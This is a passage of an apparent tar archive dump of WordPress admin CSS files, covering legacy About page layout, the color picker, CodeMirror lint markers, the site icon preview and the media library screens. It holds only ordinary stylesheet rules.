680px; margin: 0 auto 40px; } .about-wrap .has-2-columns { grid-template-columns: 1fr 1fr; } .about-wrap .has-2-columns .column:nth-of-type(2n+1) { grid-column-start: 1; } .about-wrap .has-2-columns .column:nth-of-type(2n) { grid-column-start: 2; } .about-wrap .has-2-columns.is-wider-right { grid-template-columns: 1fr 2fr; } .about-wrap .has-2-columns.is-wider-left { grid-template-columns: 2fr 1fr; } .about-wrap .has-3-columns { grid-template-columns: repeat(3, 1fr); } .about-wrap .has-3-columns .column:nth-of-type(3n+1) { grid-column-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n+2) { grid-column-start: 2; } .about-wrap .has-3-columns .column:nth-of-type(3n) { grid-column-start: 3; } .about-wrap .has-4-columns { grid-template-columns: repeat(4, 1fr); } .about-wrap .has-4-columns .column:nth-of-type(4n+1) { grid-column-start: 1; } .about-wrap .has-4-columns .column:nth-of-type(4n+2) { grid-column-start: 2; } .about-wrap .has-4-columns .column:nth-of-type(4n+3) { grid-column-start: 3; } .about-wrap .has-4-columns .column:nth-of-type(4n) { grid-column-start: 4; } .about-wrap .column :first-child { margin-top: 0; } .about-wrap .aligncenter { text-align: center; } .about-wrap .alignleft { float: right; margin-left: 40px; } .about-wrap .alignright { float: left; margin-right: 40px; } .about-wrap .is-vertically-aligned-top { align-self: flex-start; } .about-wrap .is-vertically-aligned-center { align-self: center; } .about-wrap .is-vertically-aligned-bottom { align-self: end; } /* x.2.3 - Point Releases */ .about-wrap .point-releases { margin-top: 5px; border-bottom: 1px solid #ddd; } .about-wrap .changelog { margin-bottom: 40px; } .about-wrap .changelog.point-releases h3 { padding-top: 35px; } .about-wrap .changelog.point-releases h3:first-child { padding-top: 7px; } .about-wrap .changelog.feature-section .col { margin-top: 40px; } /*------------------------------------------------------------------------------ x.3.0 - Legacy About Styles: About Page ------------------------------------------------------------------------------*/ /* x.3.1 - Typography */ .about-wrap .lead-description { font-size: 1.5em; text-align: center; } .about-wrap .feature-section p { margin-top: 0.6em; } /* x.3.2 - Structure */ .about-wrap .headline-feature { margin: 0 auto 40px; max-width: 680px; } .about-wrap .headline-feature h2 { margin: 50px 0 0; } .about-wrap .headline-feature img { max-width: 600px; width: 100%; } /* Go to Dashboard Home link */ .about-wrap .return-to-dashboard { margin: 30px -5px 0 0; font-size: 14px; font-weight: 600; } .about-wrap .return-to-dashboard a { text-decoration: none; padding: 0 5px; } /*------------------------------------------------------------------------------ x.4.0 - Legacy About Styles: Credits & Freedoms Pages ------------------------------------------------------------------------------*/ /* Credits */ .about-wrap h2.wp-people-group { margin: 2.6em 0 1.33em; padding: 0; font-size: 16px; line-height: inherit; font-weight: 600; text-align: right; } .about-wrap .wp-people-group { padding: 0 5px; margin: 0 -5px 0 -15px; } .about-wrap .compact { margin-bottom: 0; } .about-wrap .wp-person { display: inline-block; vertical-align: top; margin-left: 10px; padding-bottom: 15px; height: 70px; width: 280px; } .about-wrap .compact .wp-person { height: auto; width: 180px; padding-bottom: 0; margin-bottom: 0; } .about-wrap .wp-person .gravatar { float: right; margin: 0 0 10px 10px; padding: 1px; width: 60px; height: 60px; } .about-wrap .compact .wp-person .gravatar { width: 30px; height: 30px; } .about-wrap .wp-person .web { margin: 6px 0 2px; font-size: 16px; font-weight: 400; line-height: 2; text-decoration: none; } .about-wrap .wp-person .title { display: block; } .about-wrap #wp-people-group-validators + p.wp-credits-list { margin-top: 0; } .about-wrap p.wp-credits-list a { white-space: nowrap; } /* Freedoms */ .freedoms-php .about-wrap ol { margin: 40px 60px; } .freedoms-php .about-wrap ol li { list-style-type: decimal; font-weight: 600; } .freedoms-php .about-wrap ol p { font-weight: 400; margin: 0.6em 0; } /*------------------------------------------------------------------------------ x.5.0 - Legacy About Styles: Media Queries ------------------------------------------------------------------------------*/ @media screen and (max-width: 782px) { .about-wrap .has-3-columns, .about-wrap .has-4-columns { grid-template-columns: 1fr 1fr; } .about-wrap .has-3-columns .column:nth-of-type(3n+1), .about-wrap .has-4-columns .column:nth-of-type(4n+1) { grid-column-start: 1; grid-row-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n+2), .about-wrap .has-4-columns .column:nth-of-type(4n+2) { grid-column-start: 2; grid-row-start: 1; } .about-wrap .has-3-columns .column:nth-of-type(3n), .about-wrap .has-4-columns .column:nth-of-type(4n+3) { grid-column-start: 1; grid-row-start: 2; } .about-wrap .has-4-columns .column:nth-of-type(4n) { grid-column-start: 2; grid-row-start: 2; } } @media screen and (max-width: 600px) { .about-wrap .has-2-columns, .about-wrap .has-3-columns, .about-wrap .has-4-columns { display: block; } .about-wrap :not(.is-wider-right):not(.is-wider-left) .column { margin-left: 0; margin-right: 0; } .about-wrap .has-2-columns.is-wider-right, .about-wrap .has-2-columns.is-wider-left { display: grid; } } @media only screen and (max-width: 500px) { .about-wrap { margin-left: 20px; margin-right: 10px; } .about-wrap h1, .about-wrap .about-text { margin-left: 0; } .about-wrap .about-text { margin-bottom: 0.25em; } .about-wrap .wp-badge { position: relative; margin-bottom: 1.5em; width: 100%; } } @media only screen and (max-width: 480px) { .about-wrap .has-2-columns.is-wider-right, .about-wrap .has-2-columns.is-wider-left { display: block; } .about-wrap .column { margin-left: 0; margin-right: 0; } .about-wrap .has-2-columns.is-wider-right img, .about-wrap .has-2-columns.is-wider-left img { max-width: 160px; } } css/color-picker.css 0000644 00000007517 15233246127 0010456 0 ustar 00 /* rtl:ignore */ .wp-color-picker { width: 80px; direction: ltr; } .wp-picker-container .hidden { display: none; } /* Needs higher specificity to override `.wp-core-ui .button`. */ .wp-picker-container .wp-color-result.button { min-height: 32px; margin: 0 6px 6px 0; padding: 0 0 0 30px; font-size: 11px; } .wp-color-result-text { background: #f6f7f7; border-radius: 0 2px 2px 0; border-left: 1px solid #c3c4c7; color: #50575e; display: block; line-height: 2.72727273; /* 30px */ padding: 0 6px; text-align: center; } .wp-color-result:hover, .wp-color-result:focus { background: #f6f7f7; border-color: #8c8f94; color: #1d2327; } .wp-color-result:hover:after, .wp-color-result:focus:after { color: #1d2327; border-color: #a7aaad; border-left: 1px solid #8c8f94; } .wp-picker-container { display: inline-block; } .wp-color-result:focus { border-color: #4f94d4; box-shadow: 0 0 3px rgba(34, 113, 177, 0.8); } .wp-color-result:active { /* See Trac ticket #39662 */ transform: none !important; } .wp-picker-open + .wp-picker-input-wrap { display: inline-block; vertical-align: top; } .wp-picker-input-wrap label { display: inline-block; vertical-align: top; } /* For the old `custom-background` page, to override the inline-block and margins from `.form-table td fieldset label`. */ .form-table .wp-picker-input-wrap label { margin: 0 !important; } .wp-picker-input-wrap .button.wp-picker-default, .wp-picker-input-wrap .button.wp-picker-clear, .wp-customizer .wp-picker-input-wrap .button.wp-picker-default, .wp-customizer .wp-picker-input-wrap .button.wp-picker-clear { margin-left: 6px; padding: 0 8px; line-height: 2.72727273; /* 30px */ min-height: 32px; } .wp-picker-container .iris-square-slider .ui-slider-handle:focus { background-color: #50575e } .wp-picker-container .iris-picker { border-radius: 0; border-color: #dcdcde; margin-top: 6px; } .wp-picker-container input[type="text"].wp-color-picker { width: 4rem; font-size: 12px; font-family: monospace; margin: 0; padding: 0 5px; vertical-align: top; min-height: 32px; } .wp-color-picker::-webkit-input-placeholder { color: #646970; } .wp-color-picker::-moz-placeholder { color: #646970; } .wp-picker-container input[type="text"].iris-error { background-color: #fcf0f1; border-color: #d63638; color: #000; } .iris-picker .ui-square-handle:focus, .iris-picker .iris-strip .ui-slider-handle:focus { border-color: var(--wp-admin-theme-color, #3858e9); border-style: solid; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); outline: 2px solid transparent; } .iris-picker .iris-palette:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); } @media screen and (max-width: 782px) { .wp-picker-container input[type="text"].wp-color-picker { width: 5rem; font-size: 16px; line-height: 1.875; /* 30px */ min-height: 32px; } .wp-customizer .wp-picker-container input[type="text"].wp-color-picker { padding: 0 5px; } .wp-picker-input-wrap .button.wp-picker-default, .wp-picker-input-wrap .button.wp-picker-clear { padding: 0 8px; line-height: 2.14285714; /* 30px */ min-height: 32px; } .wp-customizer .wp-picker-input-wrap .button.wp-picker-default, .wp-customizer .wp-picker-input-wrap .button.wp-picker-clear { padding: 0 8px; font-size: 14px; line-height: 2.14285714; /* 30px */ min-height: 32px; } .wp-picker-container .wp-color-result.button { padding: 0 0 0 40px; font-size: 14px; line-height: 2.14285714; /* 30px */ } .wp-customizer .wp-picker-container .wp-color-result.button { font-size: 14px; line-height: 2.14285714; /* 30px */ } .wp-picker-container .wp-color-result-text { padding: 0 14px; font-size: inherit; line-height: inherit; } .wp-customizer .wp-picker-container .wp-color-result-text { padding: 0 10px; } } css/code-editor-rtl.css 0000644 00000003122 15233246127 0011046 0 ustar 00 /*! This file is auto-generated */ .wrap [class*="CodeMirror-lint-marker"], .wp-core-ui [class*="CodeMirror-lint-message"], .wrap .CodeMirror-lint-marker-multiple { background-image: none; } .wp-core-ui .CodeMirror-lint-marker-error, .wp-core-ui .CodeMirror-lint-marker-warning { cursor: help; } .wrap .CodeMirror-lint-marker-multiple { position: absolute; top: 0; } .wrap [class*="CodeMirror-lint-marker"]:before { font: normal 18px/1 dashicons; position: relative; top: -2px; } .wp-core-ui [class*="CodeMirror-lint-message"]:before { font: normal 16px/1 dashicons; right: 16px; position: absolute; } .wp-core-ui .CodeMirror-lint-message-error, .wp-core-ui .CodeMirror-lint-message-warning { box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); margin: 5px 0 2px; padding: 3px 28px 3px 12px; } .wp-core-ui .CodeMirror-lint-message-warning { background-color: #fcf9e8; border-right: 4px solid #dba617; } .wrap .CodeMirror-lint-marker-warning:before, .wp-core-ui .CodeMirror-lint-message-warning:before { content: "\f534"; color: #dba617; } .wp-core-ui .CodeMirror-lint-message-error { background-color: #fcf0f1; border-right: 4px solid #d63638; } .wrap .CodeMirror-lint-marker-error:before, .wp-core-ui .CodeMirror-lint-message-error:before { content: "\f153"; color: #d63638; } .wp-core-ui .CodeMirror-lint-tooltip { background: none; border: none; border-radius: 0; direction: rtl; } .wrap .CodeMirror .CodeMirror-matchingbracket { background: rgba(219, 166, 23, 0.3); color: inherit; } .CodeMirror { text-align: right; } .wrap .CodeMirror .CodeMirror-linenumber { color: #646970; } css/site-icon-rtl.min.css 0000644 00000007554 15233246127 0011341 0 ustar 00 /*! This file is auto-generated */ .site-icon-section{--site-icon-removal:#b32d2e}.site-icon-preview{--site-icon-input-border:#8c8f94;--site-icon-preview-background:#fff;--site-icon-preview-browser-top:#dcdcde;--site-icon-preview-browser-bottom:#a7aaad;--site-icon-preview-browser-border:rgba(255, 255, 255, 0.2);--site-icon-address-bar-background:#f0f0f1;--site-icon-address-bar-close:#646970;--site-icon-address-bar-text:#3c434a;--site-icon-shadow-1:rgba(0, 0, 0, 0.1);--site-icon-shadow-2:rgba(0, 0, 0, 0.2);--site-icon-shadow-3:rgba(0, 0, 0, 0.5);direction:initial;display:flex;height:60px;padding:8px 8px 0 0;align-items:flex-start;position:relative;overflow:hidden;box-sizing:border-box;border:1px solid var(--site-icon-input-border);border-radius:4px;background-color:var(--site-icon-preview-background);width:275px}@media (prefers-color-scheme:dark){.site-icon-preview{--site-icon-preview-browser-top:#2c3338;--site-icon-preview-browser-bottom:#111;--site-icon-address-bar-background:#3c434a;--site-icon-address-bar-close:#f0f0f1;--site-icon-address-bar-text:#f0f0f1}}.site-icon-preview.settings{height:88px;padding:16px 16px 0 0;width:350px;margin:0 0 16px 0}.site-icon-preview.crop{width:258px;height:100%;display:grid;grid-template-columns:8px 1fr;grid-template-rows:64px 1fr;padding-right:0;row-gap:16px;direction:inherit}.site-icon-preview.hidden{display:none}.site-icon-preview .direction-wrap{grid-template-columns:44px 1fr;gap:8px;display:grid;direction:rtl;height:100%;width:100%}.site-icon-preview.settings .direction-wrap{grid-template-columns:58px 1fr;gap:16px}.site-icon-preview:after{--after-size:150%;aspect-ratio:1/1;content:"";display:block;position:absolute;top:0;right:0;width:var(--after-size);transform:translate(calc(-1*(var(--after-size) * -.125)),calc(var(--after-size) * -.125));filter:blur(5px);opacity:.5;background:var(--site-icon-url)}.site-icon-preview .app-icon-preview{aspect-ratio:1/1;border-radius:10px;box-shadow:0 1px 5px 0 var(--site-icon-shadow-3);flex-shrink:0;width:100%;z-index:1}.site-icon-preview-browser{display:flex;padding:4px 12px 0 4px;align-items:flex-start;gap:16px;flex:1 0 0;z-index:1;border-top-right-radius:10px;border-top:1px solid var(--site-icon-preview-browser-border);border-right:1px solid var(--site-icon-preview-browser-border);background:linear-gradient(-180deg,var(--site-icon-preview-browser-top) 0,var(--site-icon-preview-browser-bottom) 100%);box-shadow:0 10px 22px 0 var(--site-icon-shadow-2)}.site-icon-preview .browser-buttons{width:48px;height:40px;fill:var(--site-icon-input-border)}.site-icon-preview-tab{padding:8px;align-items:center;gap:8px;flex:1 0 0;border-radius:4px;background-color:var(--site-icon-address-bar-background);box-shadow:0 1px 3px 0 var(--site-icon-shadow-1);display:grid;grid-template-columns:24px auto 24px}.site-icon-preview-browser .browser-icon-preview{box-shadow:0 0 20px 0 var(--site-icon-shadow-1)}.site-icon-preview-tab>img,.site-icon-preview-tab>svg{width:24px;height:24px}.site-icon-preview-tab>svg{fill:var(--site-icon-address-bar-close)}.site-icon-preview-site-title{color:var(--site-icon-address-bar-text);text-overflow:ellipsis;white-space:nowrap;overflow:hidden;font-weight:500}.site-icon-preview-crop-modal .image-preview-wrap.app-icon-preview{width:64px;height:64px;margin:0;grid-column:2}.site-icon-preview-crop-modal .site-icon-preview-browser{grid-column:2}.site-icon-preview-crop-modal .image-preview-wrap{overflow:hidden;aspect-ratio:1/1}.site-icon-preview-crop-modal .image-preview-wrap.browser{width:24px;height:24px}button.reset.remove-site-icon{color:var(--site-icon-removal);text-decoration:none;border-color:currentColor;box-shadow:none;background:0 0}button.reset.remove-site-icon:focus,button.reset.remove-site-icon:hover{background:var(--site-icon-removal);color:#fff;border-color:var(--site-icon-removal);box-shadow:0 0 0 1px var(--site-icon-removal)}.site-icon-action-buttons{display:flex;flex-wrap:wrap;gap:10px} css/media-rtl.css 0000644 00000067357 15233246127 0007753 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 14.0 - Media Screen ------------------------------------------------------------------------------*/ .media-item .describe { border-collapse: collapse; width: 100%; border-top: 1px solid #dcdcde; clear: both; cursor: default; } .media-item.media-blank .describe { border: 0; } .media-item .describe th { vertical-align: top; text-align: right; padding: 5px 10px 10px; width: 140px; } .media-item .describe .align th { padding-top: 0; } .media-item .media-item-info tr { background-color: transparent; } .media-item .describe td { padding: 0 0 8px 8px; vertical-align: top; } .media-item thead.media-item-info td { padding: 4px 10px 0; } .media-item .media-item-info .A1B1 { padding: 0 10px 0 0; } .media-item td.savesend { padding-bottom: 15px; } .media-item .thumbnail { max-height: 128px; max-width: 128px; } .media-list-subtitle { display: block; } .media-list-title { display: block; } #wpbody-content #async-upload-wrap a { display: none; } .media-upload-form { margin-top: 20px; } .media-upload-form td label { margin-left: 6px; margin-right: 2px; } .media-upload-form .align .field label { display: inline; padding: 0 23px 0 0; margin: 0 3px 0 1em; font-weight: 600; } .media-upload-form tr.image-size label { margin: 0 5px 0 0; font-weight: 600; } .media-upload-form th.label label { font-weight: 600; margin: 0.5em; font-size: 13px; } .media-upload-form th.label label span { padding: 0 5px; } .media-item .describe input[type="text"], .media-item .describe textarea { width: 460px; } .media-item .describe p.help { margin: 0; padding: 0 5px 0 0; } .describe-toggle-on, .describe-toggle-off { display: block; line-height: 2.76923076; float: left; margin-left: 10px; } .media-item .attachment-tools { display: flex; align-items: center; } .media-item .edit-attachment { padding: 14px 0; display: block; margin-left: 10px; } .media-item .edit-attachment.copy-to-clipboard-container { display: flex; margin-top: 0; } .media-item-copy-container .success { line-height: 0; } .media-item button .copy-attachment-url { margin-top: 14px; } .media-item .copy-to-clipboard-container { margin-top: 7px; } .media-item .describe-toggle-off, .media-item.open .describe-toggle-on { display: none; } .media-item.open .describe-toggle-off { display: block; } .media-upload-form .media-item { min-height: 70px; margin-bottom: 1px; position: relative; width: 100%; background: #fff; } .media-upload-form .media-item, .media-upload-form .media-item .error { box-shadow: 0 1px 0 #dcdcde; } #media-items:empty { border: 0 none; } .media-item .filename { padding: 14px 2px; overflow: hidden; margin-right: 4px; } .media-item .pinkynail { float: right; margin: 14px; max-height: 70px; max-width: 70px; } .media-item .startopen, .media-item .startclosed { display: none; } .media-item .progress { display: inline-block; height: 22px; margin: 0 6px 7px; width: 200px; line-height: 2em; padding: 0; overflow: hidden; border-radius: 22px; background: #dcdcde; box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1); } .media-item .bar { z-index: 9; width: 0; height: 100%; margin-top: -22px; border-radius: 22px; background-color: #2271b1; box-shadow: inset 0 0 2px rgba(0, 0, 0, 0.3); } .media-item .progress .percent { z-index: 10; position: relative; width: 200px; padding: 0; color: #fff; text-align: center; line-height: 22px; font-weight: 400; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.2); } .upload-php .fixed .column-parent { width: 15%; } .js .html-uploader #plupload-upload-ui { display: none; } .js .html-uploader #html-upload-ui { display: block; } #html-upload-ui #async-upload { font-size: 1em; } .media-upload-form .media-item.error, .media-upload-form .media-item .error { width: auto; margin: 0 0 1px; } .media-upload-form .media-item .error { padding: 10px 14px 10px 0; min-height: 50px; } .media-item .error-div button.dismiss { float: left; margin: 0 15px 0 10px; } /*------------------------------------------------------------------------------ 14.1 - Media Library ------------------------------------------------------------------------------*/ .find-box { background-color: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); width: 600px; overflow: hidden; margin-right: -300px; position: fixed; top: 30px; bottom: 30px; right: 50%; z-index: 100105; } .find-box-head { background: #fff; border-bottom: 1px solid #dcdcde; height: 36px; font-size: 18px; font-weight: 600; line-height: 2; padding: 0 16px 0 36px; position: absolute; top: 0; right: 0; left: 0; } .find-box-inside { overflow: auto; padding: 16px; background-color: #fff; position: absolute; top: 37px; bottom: 45px; overflow-y: scroll; width: 100%; box-sizing: border-box; } .find-box-search { padding-bottom: 16px; } .find-box-search .spinner { float: none; right: 105px; position: absolute; } .find-box-search, #find-posts-response { position: relative; /* RTL fix, #WP28010 */ } #find-posts-input, #find-posts-search { float: right; } #find-posts-input { width: 140px; height: 28px; margin: 0 0 0 4px; } .widefat .found-radio { padding-left: 0; width: 16px; } #find-posts-close { width: 36px; height: 36px; border: none; padding: 0; position: absolute; top: 0; left: 0; cursor: pointer; text-align: center; background: none; color: #646970; } #find-posts-close:hover, #find-posts-close:focus { color: var(--wp-admin-theme-color-darker-20, #183ad6); } #find-posts-close:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } #find-posts-close:before { font: normal 20px/36px dashicons; vertical-align: top; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; content: "\f158"; content: "\f158" / ''; } .find-box-buttons { padding: 8px 16px; background: #fff; border-top: 1px solid #dcdcde; position: absolute; bottom: 0; right: 0; left: 0; } @media screen and (max-width: 782px) { .find-box-inside { bottom: 57px; } #delete_all { margin-bottom: 0; } } @media screen and (max-width: 660px) { .find-box { top: 0; bottom: 0; right: 0; left: 0; margin: 0; width: 100%; } } .ui-find-overlay { position: fixed; top: 0; right: 0; left: 0; bottom: 0; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 100100; } .drag-drop #drag-drop-area { border: 4px dashed #c3c4c7; height: 200px; } .drag-drop .drag-drop-inside { margin: 60px auto 0; width: 250px; } .drag-drop-inside p { font-size: 14px; margin: 5px 0; display: none; } .drag-drop .drag-drop-inside p { text-align: center; } .drag-drop-inside p.drag-drop-info { font-size: 20px; } .drag-drop .drag-drop-inside p, .drag-drop-inside p.drag-drop-buttons { display: block; } /* #drag-drop-area:-moz-drag-over { border-color: #83b4d8; } border color while dragging a file over the uploader drop area */ .drag-drop.drag-over #drag-drop-area { border-color: #9ec2e6; } #plupload-upload-ui { position: relative; } .post-type-attachment .wp-filter select { margin: 0 0 0 6px; } /** * Media Library grid view */ .media-frame.mode-grid, .media-frame.mode-grid .media-frame-content, .media-frame.mode-grid .attachments-browser:not(.has-load-more) .attachments, .media-frame.mode-grid .attachments-browser.has-load-more .attachments-wrapper, .media-frame.mode-grid .uploader-inline-content { position: static; } /* Regions we don't use at all */ .media-frame.mode-grid .media-frame-title, .media-frame.mode-grid .media-frame-router, .media-frame.mode-grid .media-frame-menu { display: none; } .media-frame.mode-grid .media-frame-content { background-color: transparent; border: none; } .upload-php .mode-grid .media-sidebar { position: relative; width: auto; margin-top: 12px; padding: 0 16px; border-right: 4px solid #d63638; box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); background-color: #fff; } .upload-php .mode-grid .hide-sidebar .media-sidebar { display: none; } .upload-php .mode-grid .media-sidebar .media-uploader-status { border-bottom: none; padding-bottom: 0; max-width: 100%; } .upload-php .mode-grid .media-sidebar .upload-error { margin: 12px 0; padding: 4px 0 0; border: none; box-shadow: none; background: none; } .upload-php .mode-grid .media-sidebar .media-uploader-status.errors h2 { display: none; } .media-frame.mode-grid .uploader-inline { position: relative; top: auto; left: auto; right: auto; bottom: auto; padding-top: 0; margin-top: 20px; border: 4px dashed #c3c4c7; } .media-frame.mode-select .attachments-browser.fixed:not(.has-load-more) .attachments, .media-frame.mode-select .attachments-browser.has-load-more.fixed .attachments-wrapper { position: relative; top: 94px; /* prevent jumping up when the toolbar becomes fixed */ padding-bottom: 94px; /* offset for above so the bottom doesn't get cut off */ } .media-frame.mode-grid .attachment:focus, .media-frame.mode-grid .selected.attachment:focus, .media-frame.mode-grid .attachment.details:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -6px; } .media-frame.mode-grid .selected.attachment { box-shadow: inset 0 0 0 5px #f0f0f1, inset 0 0 0 7px #c3c4c7; } .media-frame.mode-grid .attachment.details { box-shadow: inset 0 0 0 3px #f0f0f1, inset 0 0 0 7px var(--wp-admin-theme-color, #3858e9); } .media-frame.mode-grid.mode-select .attachment .thumbnail { opacity: 0.65; } .media-frame.mode-select .attachment.selected .thumbnail { opacity: 1; } .media-frame.mode-grid .media-toolbar { margin-bottom: 15px; height: auto; } .media-frame.mode-grid .media-toolbar label:not(.media-search-input-label) { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; /* Many screen reader and browser combinations announce broken words as they would appear visually. */ word-wrap: normal !important; word-break: normal !important; } .media-frame.mode-grid .media-toolbar select { margin: 0 0 0 10px; min-height: 32px; line-height: 2.14285714; /* 30px for 32px height with 14px font */ padding: 0 8px 0 24px; } .media-frame.mode-grid .media-toolbar input[type="search"] { min-height: 32px; padding: 0 8px; } .media-frame.mode-grid .media-toolbar-secondary { display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .media-frame.mode-grid.mode-edit .media-toolbar-secondary > .select-mode-toggle-button { margin: 0 0 0 8px; height: 100%; } .media-frame.mode-grid .attachments-browser .bulk-select { display: inline-block; margin: 0 0 0 10px; } .media-frame.mode-grid .search { margin-top: 0; } .media-frame-content .media-search-input-label { vertical-align: baseline; } .attachments-browser .media-toolbar-secondary > .media-button { margin-left: 10px; } .media-frame.mode-select .attachments-browser.fixed .media-toolbar { position: fixed; top: 32px; right: auto; left: 20px; margin-top: 0; } .media-frame.mode-grid .attachments-browser { padding: 0; } .media-frame.mode-grid .attachments-browser .attachments { padding: 2px; } .media-frame.mode-grid .attachments-browser .no-media { color: #646970; /* same as no plugins and no themes */ font-size: 18px; font-style: normal; margin: 0; padding: 100px 0 0; text-align: center; } /** * Attachment details modal */ .edit-attachment-frame { display: block; height: 100%; width: 100%; } .edit-attachment-frame .edit-media-header { overflow: hidden; } .upload-php .media-modal-close .media-modal-icon:before { content: "\f335"; content: "\f335" / ''; font-size: 22px; } .upload-php .media-modal-close, .edit-attachment-frame .edit-media-header .left, .edit-attachment-frame .edit-media-header .right { cursor: pointer; color: #787c82; background-color: transparent; height: 50px; width: 50px; padding: 0; position: absolute; text-align: center; border: 0; border-right: 1px solid #dcdcde; transition: color .1s ease-in-out, background .1s ease-in-out; } .upload-php .media-modal-close { top: 0; left: 0; } .edit-attachment-frame .edit-media-header .left { left: 102px; } .edit-attachment-frame .edit-media-header .right { left: 51px; } .edit-attachment-frame .media-frame-title { right: 0; left: 150px; /* leave space for prev/next/close */ } .edit-attachment-frame .edit-media-header .right:before, .edit-attachment-frame .edit-media-header .left:before { font: normal 20px/50px dashicons !important; display: inline; font-weight: 300; } .upload-php .media-modal-close:hover, .upload-php .media-modal-close:focus, .edit-attachment-frame .edit-media-header .left:hover, .edit-attachment-frame .edit-media-header .right:hover, .edit-attachment-frame .edit-media-header .left:focus, .edit-attachment-frame .edit-media-header .right:focus { background: #dcdcde; border-color: #c3c4c7; color: #000; outline: none; box-shadow: none; } .upload-php .media-modal-close:focus, .edit-attachment-frame .edit-media-header .left:focus, .edit-attachment-frame .edit-media-header .right:focus { /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; outline-offset: -2px; } .upload-php .media-modal-close:focus .media-modal-icon:before, .upload-php .media-modal-close:hover .media-modal-icon:before { color: #000; } .edit-attachment-frame .edit-media-header .left:before { content: "\f345"; content: "\f341" / ''; } .edit-attachment-frame .edit-media-header .right:before { content: "\f341"; content: "\f345" / ''; } .edit-attachment-frame .edit-media-header [disabled], .edit-attachment-frame .edit-media-header [disabled]:hover { color: #c3c4c7; background: inherit; cursor: default; } .edit-attachment-frame .media-frame-content, .edit-attachment-frame .media-frame-router { right: 0; } .edit-attachment-frame .media-frame-content { border-bottom: none; bottom: 0; top: 50px; } .edit-attachment-frame .attachment-details { position: absolute; overflow: auto; top: 0; bottom: 0; left: 0; right: 0; box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1); } .edit-attachment-frame .attachment-media-view { float: right; width: 65%; height: 100%; } .edit-attachment-frame .attachment-media-view .thumbnail { box-sizing: border-box; padding: 16px; height: 100%; } .edit-attachment-frame .attachment-media-view .details-image { display: block; margin: 0 auto 16px; max-width: 100%; max-height: 90%; max-height: calc( 100% - 56px ); /* leave space for actions underneath */ background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 100% 0, 10px 10px; background-size: 20px 20px; } .edit-attachment-frame .attachment-media-view .details-image.icon { background: none; } .edit-attachment-frame .attachment-media-view .attachment-actions { text-align: center; } .edit-attachment-frame .wp-media-wrapper { margin-bottom: 12px; } .edit-attachment-frame input, .edit-attachment-frame textarea { padding: 4px 8px; line-height: 1.42857143; } .edit-attachment-frame .attachment-info { overflow: auto; box-sizing: border-box; margin-bottom: 0; padding: 12px 16px 0; width: 35%; height: 100%; box-shadow: inset 0 4px 4px -4px rgba(0, 0, 0, 0.1); border-bottom: 0; border-right: 1px solid #dcdcde; background: #f6f7f7; } .edit-attachment-frame .attachment-info .details, .edit-attachment-frame .attachment-info .settings { position: relative; /* RTL fix, #WP29352 */ overflow: hidden; float: none; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px solid #dcdcde; } .edit-attachment-frame .attachment-info .filename { font-weight: 400; color: #646970; } .edit-attachment-frame .attachment-info .thumbnail { margin-bottom: 12px; } .attachment-info .actions { margin-bottom: 16px; } .attachment-info .actions a { display: inline; text-decoration: none; } .copy-to-clipboard-container { display: flex; align-items: center; margin-top: 8px; clear: both; } .copy-to-clipboard-container .copy-attachment-url { white-space: normal; } .copy-to-clipboard-container .success { color: #007017; margin-right: 8px; } /*------------------------------------------------------------------------------ 14.2 - Image Editor ------------------------------------------------------------------------------*/ .wp_attachment_details .attachment-alt-text { margin-bottom: 5px; } .wp_attachment_details #attachment_alt { max-width: 500px; height: 3.28571428em; } .wp_attachment_details .attachment-alt-text-description { margin-top: 5px; } .wp_attachment_details label[for="content"] { font-size: 13px; line-height: 1.5; margin: 1em 0; } .wp_attachment_details #attachment_caption { height: 4em; } .describe .image-editor { vertical-align: top; } .imgedit-wrap { position: relative; padding-top: 10px; } .image-editor p, .image-editor fieldset { margin: 8px 0; } .image-editor legend { margin-bottom: 5px; } .describe .imgedit-wrap .image-editor { padding: 0 5px; } .wp_attachment_holder div.updated { margin-top: 0; } .wp_attachment_holder .imgedit-wrap > div { height: auto; } .imgedit-panel-content { display: flex; flex-wrap: wrap; gap: 20px; margin-bottom: 20px; } .imgedit-settings { max-width: 240px; /* Prevent reflow when help info is expanded. */ } .imgedit-group-controls > * { display: none; } .imgedit-panel-active .imgedit-group-controls > * { display: block; } .imgedit-panel-active .imgedit-group-controls > .imgedit-crop-apply { display: flex; } .imgedit-crop-apply { gap: 4px; flex-wrap: wrap; } .wp_attachment_holder .imgedit-wrap .image-editor { float: left; width: 250px; } .image-editor input { margin-top: 0; vertical-align: middle; } .imgedit-wait { position: absolute; top: 0; bottom: 0; width: 100%; background: #fff; opacity: 0.7; filter: alpha(opacity=70); display: none; } .imgedit-wait:before { content: ""; display: block; width: 20px; height: 20px; position: absolute; right: 50%; top: 50%; margin: -10px -10px 0 0; background: transparent url(../images/spinner.gif) no-repeat center; background-size: 20px 20px; transform: translateZ(0); } .no-float { float: none; } .media-disabled, 